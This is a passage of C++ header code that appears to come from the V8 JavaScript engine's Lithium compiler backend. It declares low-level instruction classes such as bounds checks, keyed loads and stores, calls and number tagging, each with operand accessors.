explicit LGetCachedArrayIndex(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(GetCachedArrayIndex, "get-cached-array-index")
DECLARE_HYDROGEN_ACCESSOR(GetCachedArrayIndex)
};
class LHasCachedArrayIndexAndBranch: public LControlInstruction<1, 0> {
public:
explicit LHasCachedArrayIndexAndBranch(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(HasCachedArrayIndexAndBranch,
"has-cached-array-index-and-branch")
virtual void PrintDataTo(StringStream* stream);
};
class LIsConstructCallAndBranch: public LControlInstruction<0, 1> {
public:
explicit LIsConstructCallAndBranch(LOperand* temp) {
temps_[0] = temp;
}
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(IsConstructCallAndBranch,
"is-construct-call-and-branch")
};
class LClassOfTestAndBranch: public LControlInstruction<1, 2> {
public:
LClassOfTestAndBranch(LOperand* value, LOperand* temp, LOperand* temp2) {
inputs_[0] = value;
temps_[0] = temp;
temps_[1] = temp2;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
LOperand* temp2() { return temps_[1]; }
DECLARE_CONCRETE_INSTRUCTION(ClassOfTestAndBranch,
"class-of-test-and-branch")
DECLARE_HYDROGEN_ACCESSOR(ClassOfTestAndBranch)
virtual void PrintDataTo(StringStream* stream);
};
class LCmpT: public LTemplateInstruction<1, 3, 0> {
public:
LCmpT(LOperand* context, LOperand* left, LOperand* right) {
inputs_[0] = context;
inputs_[1] = left;
inputs_[2] = right;
}
DECLARE_CONCRETE_INSTRUCTION(CmpT, "cmp-t")
DECLARE_HYDROGEN_ACCESSOR(CompareGeneric)
Token::Value op() const { return hydrogen()->token(); }
};
class LInstanceOf: public LTemplateInstruction<1, 3, 0> {
public:
LInstanceOf(LOperand* context, LOperand* left, LOperand* right) {
inputs_[0] = context;
inputs_[1] = left;
inputs_[2] = right;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(InstanceOf, "instance-of")
};
class LInstanceOfKnownGlobal: public LTemplateInstruction<1, 2, 1> {
public:
LInstanceOfKnownGlobal(LOperand* context, LOperand* value, LOperand* temp) {
inputs_[0] = context;
inputs_[1] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[1]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(InstanceOfKnownGlobal,
"instance-of-known-global")
DECLARE_HYDROGEN_ACCESSOR(InstanceOfKnownGlobal)
Handle<JSFunction> function() const { return hydrogen()->function(); }
LEnvironment* GetDeferredLazyDeoptimizationEnvironment() {
return lazy_deopt_env_;
}
virtual void SetDeferredLazyDeoptimizationEnvironment(LEnvironment* env) {
lazy_deopt_env_ = env;
}
private:
LEnvironment* lazy_deopt_env_;
};
class LBoundsCheck: public LTemplateInstruction<0, 2, 0> {
public:
LBoundsCheck(LOperand* index, LOperand* length) {
inputs_[0] = index;
inputs_[1] = length;
}
LOperand* index() { return inputs_[0]; }
LOperand* length() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(BoundsCheck, "bounds-check")
DECLARE_HYDROGEN_ACCESSOR(BoundsCheck)
};
class LBitI: public LTemplateInstruction<1, 2, 0> {
public:
LBitI(LOperand* left, LOperand* right) {
inputs_[0] = left;
inputs_[1] = right;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(BitI, "bit-i")
DECLARE_HYDROGEN_ACCESSOR(Bitwise)
Token::Value op() const { return hydrogen()->op(); }
};
class LShiftI: public LTemplateInstruction<1, 2, 0> {
public:
LShiftI(Token::Value op, LOperand* left, LOperand* right, bool can_deopt)
: op_(op), can_deopt_(can_deopt) {
inputs_[0] = left;
inputs_[1] = right;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(ShiftI, "shift-i")
Token::Value op() const { return op_; }
bool can_deopt() const { return can_deopt_; }
private:
Token::Value op_;
bool can_deopt_;
};
class LSubI: public LTemplateInstruction<1, 2, 0> {
public:
LSubI(LOperand* left, LOperand* right) {
inputs_[0] = left;
inputs_[1] = right;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(SubI, "sub-i")
DECLARE_HYDROGEN_ACCESSOR(Sub)
};
class LConstantI: public LTemplateInstruction<1, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(ConstantI, "constant-i")
DECLARE_HYDROGEN_ACCESSOR(Constant)
int32_t value() const { return hydrogen()->Integer32Value(); }
};
class LConstantD: public LTemplateInstruction<1, 0, 1> {
public:
explicit LConstantD(LOperand* temp) {
temps_[0] = temp;
}
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ConstantD, "constant-d")
DECLARE_HYDROGEN_ACCESSOR(Constant)
double value() const { return hydrogen()->DoubleValue(); }
};
class LConstantT: public LTemplateInstruction<1, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(ConstantT, "constant-t")
DECLARE_HYDROGEN_ACCESSOR(Constant)
Handle<Object> value() const { return hydrogen()->handle(); }
};
class LBranch: public LControlInstruction<1, 1> {
public:
LBranch(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(Branch, "branch")
DECLARE_HYDROGEN_ACCESSOR(Branch)
virtual void PrintDataTo(StringStream* stream);
};
class LCmpMapAndBranch: public LTemplateInstruction<0, 1, 0> {
public:
explicit LCmpMapAndBranch(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CmpMapAndBranch, "cmp-map-and-branch")
DECLARE_HYDROGEN_ACCESSOR(CompareMap)
virtual bool IsControl() const { return true; }
Handle<Map> map() const { return hydrogen()->map(); }
int true_block_id() const {
return hydrogen()->FirstSuccessor()->block_id();
}
int false_block_id() const {
return hydrogen()->SecondSuccessor()->block_id();
}
};
class LJSArrayLength: public LTemplateInstruction<1, 1, 0> {
public:
explicit LJSArrayLength(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(JSArrayLength, "js-array-length")
DECLARE_HYDROGEN_ACCESSOR(JSArrayLength)
};
class LFixedArrayBaseLength: public LTemplateInstruction<1, 1, 0> {
public:
explicit LFixedArrayBaseLength(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(FixedArrayBaseLength,
"fixed-array-base-length")
DECLARE_HYDROGEN_ACCESSOR(FixedArrayBaseLength)
};
class LMapEnumLength: public LTemplateInstruction<1, 1, 0> {
public:
explicit LMapEnumLength(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(MapEnumLength, "map-enum-length")
};
class LElementsKind: public LTemplateInstruction<1, 1, 0> {
public:
explicit LElementsKind(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ElementsKind, "elements-kind")
DECLARE_HYDROGEN_ACCESSOR(ElementsKind)
};
class LValueOf: public LTemplateInstruction<1, 1, 1> {
public:
LValueOf(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(ValueOf, "value-of")
DECLARE_HYDROGEN_ACCESSOR(ValueOf)
};
class LDateField: public LTemplateInstruction<1, 1, 1> {
public:
LDateField(LOperand* date, LOperand* temp, Smi* index)
: index_(index) {
inputs_[0] = date;
temps_[0] = temp;
}
LOperand* date() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(DateField, "date-field")
DECLARE_HYDROGEN_ACCESSOR(DateField)
Smi* index() const { return index_; }
private:
Smi* index_;
};
class LSeqStringSetChar: public LTemplateInstruction<1, 3, 0> {
public:
LSeqStringSetChar(String::Encoding encoding,
LOperand* string,
LOperand* index,
LOperand* value) : encoding_(encoding) {
inputs_[0] = string;
inputs_[1] = index;
inputs_[2] = value;
}
String::Encoding encoding() { return encoding_; }
LOperand* string() { return inputs_[0]; }
LOperand* index() { return inputs_[1]; }
LOperand* value() { return inputs_[2]; }
DECLARE_CONCRETE_INSTRUCTION(SeqStringSetChar, "seq-string-set-char")
DECLARE_HYDROGEN_ACCESSOR(SeqStringSetChar)
private:
String::Encoding encoding_;
};
class LThrow: public LTemplateInstruction<0, 2, 0> {
public:
LThrow(LOperand* context, LOperand* value) {
inputs_[0] = context;
inputs_[1] = value;
}
LOperand* context() { return inputs_[0]; }
LOperand* value() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(Throw, "throw")
};
class LBitNotI: public LTemplateInstruction<1, 1, 0> {
public:
explicit LBitNotI(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(BitNotI, "bit-not-i")
};
class LAddI: public LTemplateInstruction<1, 2, 0> {
public:
LAddI(LOperand* left, LOperand* right) {
inputs_[0] = left;
inputs_[1] = right;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(AddI, "add-i")
DECLARE_HYDROGEN_ACCESSOR(Add)
};
class LMathMinMax: public LTemplateInstruction<1, 2, 0> {
public:
LMathMinMax(LOperand* left, LOperand* right) {
inputs_[0] = left;
inputs_[1] = right;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(MathMinMax, "min-max")
DECLARE_HYDROGEN_ACCESSOR(MathMinMax)
};
class LPower: public LTemplateInstruction<1, 2, 0> {
public:
LPower(LOperand* left, LOperand* right) {
inputs_[0] = left;
inputs_[1] = right;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(Power, "power")
DECLARE_HYDROGEN_ACCESSOR(Power)
};
class LRandom: public LTemplateInstruction<1, 1, 0> {
public:
explicit LRandom(LOperand* global_object) {
inputs_[0] = global_object;
}
LOperand* global_object() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(Random, "random")
DECLARE_HYDROGEN_ACCESSOR(Random)
};
class LArithmeticD: public LTemplateInstruction<1, 2, 0> {
public:
LArithmeticD(Token::Value op, LOperand* left, LOperand* right)
: op_(op) {
inputs_[0] = left;
inputs_[1] = right;
}
LOperand* left() { return inputs_[0]; }
LOperand* right() { return inputs_[1]; }
Token::Value op() const { return op_; }
virtual Opcode opcode() const { return LInstruction::kArithmeticD; }
virtual void CompileToNative(LCodeGen* generator);
virtual const char* Mnemonic() const;
private:
Token::Value op_;
};
class LArithmeticT: public LTemplateInstruction<1, 3, 0> {
public:
LArithmeticT(Token::Value op,
LOperand* context,
LOperand* left,
LOperand* right)
: op_(op) {
inputs_[0] = context;
inputs_[1] = left;
inputs_[2] = right;
}
LOperand* context() { return inputs_[0]; }
LOperand* left() { return inputs_[1]; }
LOperand* right() { return inputs_[2]; }
virtual Opcode opcode() const { return LInstruction::kArithmeticT; }
virtual void CompileToNative(LCodeGen* generator);
virtual const char* Mnemonic() const;
Token::Value op() const { return op_; }
private:
Token::Value op_;
};
class LReturn: public LTemplateInstruction<0, 2, 0> {
public:
explicit LReturn(LOperand* value, LOperand* context) {
inputs_[0] = value;
inputs_[1] = context;
}
DECLARE_CONCRETE_INSTRUCTION(Return, "return")
};
class LLoadNamedField: public LTemplateInstruction<1, 1, 0> {
public:
explicit LLoadNamedField(LOperand* object) {
inputs_[0] = object;
}
LOperand* object() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(LoadNamedField, "load-named-field")
DECLARE_HYDROGEN_ACCESSOR(LoadNamedField)
};
class LLoadNamedFieldPolymorphic: public LTemplateInstruction<1, 2, 0> {
public:
LLoadNamedFieldPolymorphic(LOperand* context, LOperand* object) {
inputs_[0] = context;
inputs_[1] = object;
}
LOperand* context() { return inputs_[0]; }
LOperand* object() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(LoadNamedField, "load-named-field-polymorphic")
DECLARE_HYDROGEN_ACCESSOR(LoadNamedFieldPolymorphic)
};
class LLoadNamedGeneric: public LTemplateInstruction<1, 2, 0> {
public:
LLoadNamedGeneric(LOperand* context, LOperand* object) {
inputs_[0] = context;
inputs_[1] = object;
}
LOperand* context() { return inputs_[0]; }
LOperand* object() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(LoadNamedGeneric, "load-named-generic")
DECLARE_HYDROGEN_ACCESSOR(LoadNamedGeneric)
Handle<Object> name() const { return hydrogen()->name(); }
};
class LLoadFunctionPrototype: public LTemplateInstruction<1, 1, 1> {
public:
LLoadFunctionPrototype(LOperand* function, LOperand* temp) {
inputs_[0] = function;
temps_[0] = temp;
}
LOperand* function() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(LoadFunctionPrototype, "load-function-prototype")
DECLARE_HYDROGEN_ACCESSOR(LoadFunctionPrototype)
};
class LLoadElements: public LTemplateInstruction<1, 1, 0> {
public:
explicit LLoadElements(LOperand* object) {
inputs_[0] = object;
}
LOperand* object() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(LoadElements, "load-elements")
};
class LLoadExternalArrayPointer: public LTemplateInstruction<1, 1, 0> {
public:
explicit LLoadExternalArrayPointer(LOperand* object) {
inputs_[0] = object;
}
LOperand* object() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(LoadExternalArrayPointer,
"load-external-array-pointer")
};
class LLoadKeyed: public LTemplateInstruction<1, 2, 0> {
public:
LLoadKeyed(LOperand* elements, LOperand* key) {
inputs_[0] = elements;
inputs_[1] = key;
}
LOperand* elements() { return inputs_[0]; }
LOperand* key() { return inputs_[1]; }
ElementsKind elements_kind() const {
return hydrogen()->elements_kind();
}
bool is_external() const {
return hydrogen()->is_external();
}
virtual bool ClobbersDoubleRegisters() const {
return !IsDoubleOrFloatElementsKind(hydrogen()->elements_kind());
}
DECLARE_CONCRETE_INSTRUCTION(LoadKeyed, "load-keyed")
DECLARE_HYDROGEN_ACCESSOR(LoadKeyed)
virtual void PrintDataTo(StringStream* stream);
uint32_t additional_index() const { return hydrogen()->index_offset(); }
bool key_is_smi() {
return hydrogen()->key()->representation().IsTagged();
}
};
inline static bool ExternalArrayOpRequiresTemp(
Representation key_representation,
ElementsKind elements_kind) {
// Operations that require the key to be divided by two to be converted into
// an index cannot fold the scale operation into a load and need an extra
// temp register to do the work.
return key_representation.IsTagged() &&
(elements_kind == EXTERNAL_BYTE_ELEMENTS ||
elements_kind == EXTERNAL_UNSIGNED_BYTE_ELEMENTS ||
elements_kind == EXTERNAL_PIXEL_ELEMENTS);
}
class LLoadKeyedGeneric: public LTemplateInstruction<1, 3, 0> {
public:
LLoadKeyedGeneric(LOperand* context, LOperand* obj, LOperand* key) {
inputs_[0] = context;
inputs_[1] = obj;
inputs_[2] = key;
}
LOperand* context() { return inputs_[0]; }
LOperand* object() { return inputs_[1]; }
LOperand* key() { return inputs_[2]; }
DECLARE_CONCRETE_INSTRUCTION(LoadKeyedGeneric, "load-keyed-generic")
};
class LLoadGlobalCell: public LTemplateInstruction<1, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(LoadGlobalCell, "load-global-cell")
DECLARE_HYDROGEN_ACCESSOR(LoadGlobalCell)
};
class LLoadGlobalGeneric: public LTemplateInstruction<1, 2, 0> {
public:
LLoadGlobalGeneric(LOperand* context, LOperand* global_object) {
inputs_[0] = context;
inputs_[1] = global_object;
}
LOperand* context() { return inputs_[0]; }
LOperand* global_object() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(LoadGlobalGeneric, "load-global-generic")
DECLARE_HYDROGEN_ACCESSOR(LoadGlobalGeneric)
Handle<Object> name() const { return hydrogen()->name(); }
bool for_typeof() const { return hydrogen()->for_typeof(); }
};
class LStoreGlobalCell: public LTemplateInstruction<0, 1, 0> {
public:
explicit LStoreGlobalCell(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(StoreGlobalCell, "store-global-cell")
DECLARE_HYDROGEN_ACCESSOR(StoreGlobalCell)
};
class LStoreGlobalGeneric: public LTemplateInstruction<0, 3, 0> {
public:
LStoreGlobalGeneric(LOperand* context,
LOperand* global_object,
LOperand* value) {
inputs_[0] = context;
inputs_[1] = global_object;
inputs_[2] = value;
}
LOperand* context() { return inputs_[0]; }
LOperand* global_object() { return inputs_[1]; }
LOperand* value() { return inputs_[2]; }
DECLARE_CONCRETE_INSTRUCTION(StoreGlobalGeneric, "store-global-generic")
DECLARE_HYDROGEN_ACCESSOR(StoreGlobalGeneric)
Handle<Object> name() const { return hydrogen()->name(); }
StrictModeFlag strict_mode_flag() { return hydrogen()->strict_mode_flag(); }
};
class LLoadContextSlot: public LTemplateInstruction<1, 1, 0> {
public:
explicit LLoadContextSlot(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(LoadContextSlot, "load-context-slot")
DECLARE_HYDROGEN_ACCESSOR(LoadContextSlot)
int slot_index() { return hydrogen()->slot_index(); }
virtual void PrintDataTo(StringStream* stream);
};
class LStoreContextSlot: public LTemplateInstruction<0, 2, 1> {
public:
LStoreContextSlot(LOperand* context, LOperand* value, LOperand* temp) {
inputs_[0] = context;
inputs_[1] = value;
temps_[0] = temp;
}
LOperand* context() { return inputs_[0]; }
LOperand* value() { return inputs_[1]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(StoreContextSlot, "store-context-slot")
DECLARE_HYDROGEN_ACCESSOR(StoreContextSlot)
int slot_index() { return hydrogen()->slot_index(); }
virtual void PrintDataTo(StringStream* stream);
};
class LPushArgument: public LTemplateInstruction<0, 1, 0> {
public:
explicit LPushArgument(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(PushArgument, "push-argument")
};
class LDrop: public LTemplateInstruction<0, 0, 0> {
public:
explicit LDrop(int count) : count_(count) { }
int count() const { return count_; }
DECLARE_CONCRETE_INSTRUCTION(Drop, "drop")
private:
int count_;
};
class LThisFunction: public LTemplateInstruction<1, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(ThisFunction, "this-function")
DECLARE_HYDROGEN_ACCESSOR(ThisFunction)
};
class LContext: public LTemplateInstruction<1, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(Context, "context")
};
class LOuterContext: public LTemplateInstruction<1, 1, 0> {
public:
explicit LOuterContext(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(OuterContext, "outer-context")
};
class LDeclareGlobals: public LTemplateInstruction<0, 1, 0> {
public:
explicit LDeclareGlobals(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(DeclareGlobals, "declare-globals")
DECLARE_HYDROGEN_ACCESSOR(DeclareGlobals)
};
class LGlobalObject: public LTemplateInstruction<1, 1, 0> {
public:
explicit LGlobalObject(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(GlobalObject, "global-object")
};
class LGlobalReceiver: public LTemplateInstruction<1, 1, 0> {
public:
explicit LGlobalReceiver(LOperand* global_object) {
inputs_[0] = global_object;
}
LOperand* global() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(GlobalReceiver, "global-receiver")
};
class LCallConstantFunction: public LTemplateInstruction<1, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(CallConstantFunction, "call-constant-function")
DECLARE_HYDROGEN_ACCESSOR(CallConstantFunction)
virtual void PrintDataTo(StringStream* stream);
Handle<JSFunction> function() { return hydrogen()->function(); }
int arity() const { return hydrogen()->argument_count() - 1; }
};
class LInvokeFunction: public LTemplateInstruction<1, 2, 0> {
public:
LInvokeFunction(LOperand* context, LOperand* function) {
inputs_[0] = context;
inputs_[1] = function;
}
LOperand* context() { return inputs_[0]; }
LOperand* function() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(InvokeFunction, "invoke-function")
DECLARE_HYDROGEN_ACCESSOR(InvokeFunction)
virtual void PrintDataTo(StringStream* stream);
int arity() const { return hydrogen()->argument_count() - 1; }
Handle<JSFunction> known_function() { return hydrogen()->known_function(); }
};
class LCallKeyed: public LTemplateInstruction<1, 2, 0> {
public:
LCallKeyed(LOperand* context, LOperand* key) {
inputs_[0] = context;
inputs_[1] = key;
}
LOperand* context() { return inputs_[0]; }
LOperand* key() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(CallKeyed, "call-keyed")
DECLARE_HYDROGEN_ACCESSOR(CallKeyed)
virtual void PrintDataTo(StringStream* stream);
int arity() const { return hydrogen()->argument_count() - 1; }
};
class LCallNamed: public LTemplateInstruction<1, 1, 0> {
public:
explicit LCallNamed(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CallNamed, "call-named")
DECLARE_HYDROGEN_ACCESSOR(CallNamed)
virtual void PrintDataTo(StringStream* stream);
Handle<String> name() const { return hydrogen()->name(); }
int arity() const { return hydrogen()->argument_count() - 1; }
};
class LCallFunction: public LTemplateInstruction<1, 2, 0> {
public:
explicit LCallFunction(LOperand* context, LOperand* function) {
inputs_[0] = context;
inputs_[1] = function;
}
LOperand* context() { return inputs_[0]; }
LOperand* function() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(CallFunction, "call-function")
DECLARE_HYDROGEN_ACCESSOR(CallFunction)
int arity() const { return hydrogen()->argument_count() - 1; }
};
class LCallGlobal: public LTemplateInstruction<1, 1, 0> {
public:
explicit LCallGlobal(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CallGlobal, "call-global")
DECLARE_HYDROGEN_ACCESSOR(CallGlobal)
virtual void PrintDataTo(StringStream* stream);
Handle<String> name() const {return hydrogen()->name(); }
int arity() const { return hydrogen()->argument_count() - 1; }
};
class LCallKnownGlobal: public LTemplateInstruction<1, 0, 0> {
public:
DECLARE_CONCRETE_INSTRUCTION(CallKnownGlobal, "call-known-global")
DECLARE_HYDROGEN_ACCESSOR(CallKnownGlobal)
virtual void PrintDataTo(StringStream* stream);
Handle<JSFunction> target() const { return hydrogen()->target(); }
int arity() const { return hydrogen()->argument_count() - 1; }
};
class LCallNew: public LTemplateInstruction<1, 2, 0> {
public:
LCallNew(LOperand* context, LOperand* constructor) {
inputs_[0] = context;
inputs_[1] = constructor;
}
LOperand* context() { return inputs_[0]; }
LOperand* constructor() { return inputs_[1]; }
DECLARE_CONCRETE_INSTRUCTION(CallNew, "call-new")
DECLARE_HYDROGEN_ACCESSOR(CallNew)
virtual void PrintDataTo(StringStream* stream);
int arity() const { return hydrogen()->argument_count() - 1; }
};
class LCallRuntime: public LTemplateInstruction<1, 1, 0> {
public:
explicit LCallRuntime(LOperand* context) {
inputs_[0] = context;
}
LOperand* context() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(CallRuntime, "call-runtime")
DECLARE_HYDROGEN_ACCESSOR(CallRuntime)
const Runtime::Function* function() const { return hydrogen()->function(); }
int arity() const { return hydrogen()->argument_count(); }
};
class LInteger32ToDouble: public LTemplateInstruction<1, 1, 0> {
public:
explicit LInteger32ToDouble(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(Integer32ToDouble, "int32-to-double")
};
class LUint32ToDouble: public LTemplateInstruction<1, 1, 1> {
public:
explicit LUint32ToDouble(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(Uint32ToDouble, "uint32-to-double")
};
class LNumberTagI: public LTemplateInstruction<1, 1, 0> {
public:
explicit LNumberTagI(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(NumberTagI, "number-tag-i")
};
class LNumberTagU: public LTemplateInstruction<1, 1, 1> {
public:
explicit LNumberTagU(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(NumberTagU, "number-tag-u")
};
class LNumberTagD: public LTemplateInstruction<1, 1, 1> {
public:
LNumberTagD(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(NumberTagD, "number-tag-d")
};
// Sometimes truncating conversion from a tagged value to an int32.
class LDoubleToI: public LTemplateInstruction<1, 1, 1> {
public:
LDoubleToI(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(DoubleToI, "double-to-i")
DECLARE_HYDROGEN_ACCESSOR(UnaryOperation)
bool truncating() { return hydrogen()->CanTruncateToInt32(); }
};
// Truncating conversion from a tagged value to an int32.
class LTaggedToI: public LTemplateInstruction<1, 1, 1> {
public:
LTaggedToI(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(TaggedToI, "tagged-to-i")
DECLARE_HYDROGEN_ACCESSOR(UnaryOperation)
bool truncating() { return hydrogen()->CanTruncateToInt32(); }
};
class LSmiTag: public LTemplateInstruction<1, 1, 0> {
public:
explicit LSmiTag(LOperand* value) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(SmiTag, "smi-tag")
};
class LNumberUntagD: public LTemplateInstruction<1, 1, 1> {
public:
explicit LNumberUntagD(LOperand* value, LOperand* temp) {
inputs_[0] = value;
temps_[0] = temp;
}
LOperand* value() { return inputs_[0]; }
LOperand* temp() { return temps_[0]; }
DECLARE_CONCRETE_INSTRUCTION(NumberUntagD, "double-untag")
DECLARE_HYDROGEN_ACCESSOR(Change);
};
class LSmiUntag: public LTemplateInstruction<1, 1, 0> {
public:
LSmiUntag(LOperand* value, bool needs_check)
: needs_check_(needs_check) {
inputs_[0] = value;
}
LOperand* value() { return inputs_[0]; }
DECLARE_CONCRETE_INSTRUCTION(SmiUntag, "smi-untag")
bool needs_check() const { return needs_check_; }
private:
bool needs_check_;
};
class LStoreNamedField: public LTemplateInstruction<0, 2, 2> {
public:
LStoreNamedField(LOperand* obj,
LOperand* val,
LOperand* temp,
LOperand* temp_map) {
inputs_[0] = obj;
inputs_[1] = val;
temps_[0] = temp;
temps_[1] = temp_map;
}
LOperand* object() { return inputs_[0]; }
LOperand* value() { return inputs_[1]; }
LOperand* temp() { return temps_[0]; }
LOperand* temp_map() { return temps_[1]; }
DECLARE_CONCRETE_INSTRUCTION(StoreNamedField, "store-named-field")
DECLARE_HYDROGEN_ACCESSOR(StoreNamedField)
virtual void PrintDataTo(StringStream* stream);
Handle<Object> name() const { return hydrogen()->name(); }
bool is_in_object() { return hydrogen()->is_in_object(); }
int offset() { return hydrogen()->offset(); }
Handle<Map> transition() const { return hydrogen()->transition(); }
};
class LStoreNamedGeneric: public LTemplateInstruction<0, 3, 0> {
public:
LStoreNamedGeneric(LOperand* context, LOperand* object, LOperand* value) {
inputs_[0] = context;
inputs_[1] = object;
inputs_[2] = value;
}
LOperand* context() { return inputs_[0]; }
LOperand* object() { return inputs_[1]; }
LOperand* value() { return inputs_[2]; }
DECLARE_CONCRETE_INSTRUCTION(StoreNamedGeneric, "store-named-generic")
DECLARE_HYDROGEN_ACCESSOR(StoreNamedGeneric)
virtual void PrintDataTo(StringStream* stream);
Handle<Object> name() const { return hydrogen()->name(); }
StrictModeFlag strict_mode_flag() { return hydrogen()->strict_mode_flag(); }
};
class LStoreKeyed: public LTemplateInstruction<0, 3, 0> {
public:
LStoreKeyed(LOperand* obj, LOperand* key, LOperand* val) {
inputs_[0] = obj;
inputs_[1] = key;
inputs_[2] = val;
}
bool is_external() const { return hydrogen()->is_external(); }
LOperand* elements() { return inputs_[0]; }
LOperand* key() { return inputs_[1]; }
LOperand* value() { return inputs_[2]; }
ElementsKind elements_kind() const {
return hydrogen()->elements_kind();
}
DECLARE_CONCRETE_INSTRUCTION(StoreKeyed, "store-keyed")
DECLARE_HYDROGEN_ACCESSOR(StoreKeyed)
virtual void PrintDataTo(StringStream* stream);
uint32_t additional_index() const { return hydrogen()->index_offset(); }
bool NeedsCanonicalization() { return hydrogen()->NeedsCanonicalization(); }
};
class LStoreKeyedGeneric: public LTemplateInstruction<0, 4, 0> {
public:
LStoreKeyedGeneric(LOperand* context,
LOperand* object,
LOperand* key,
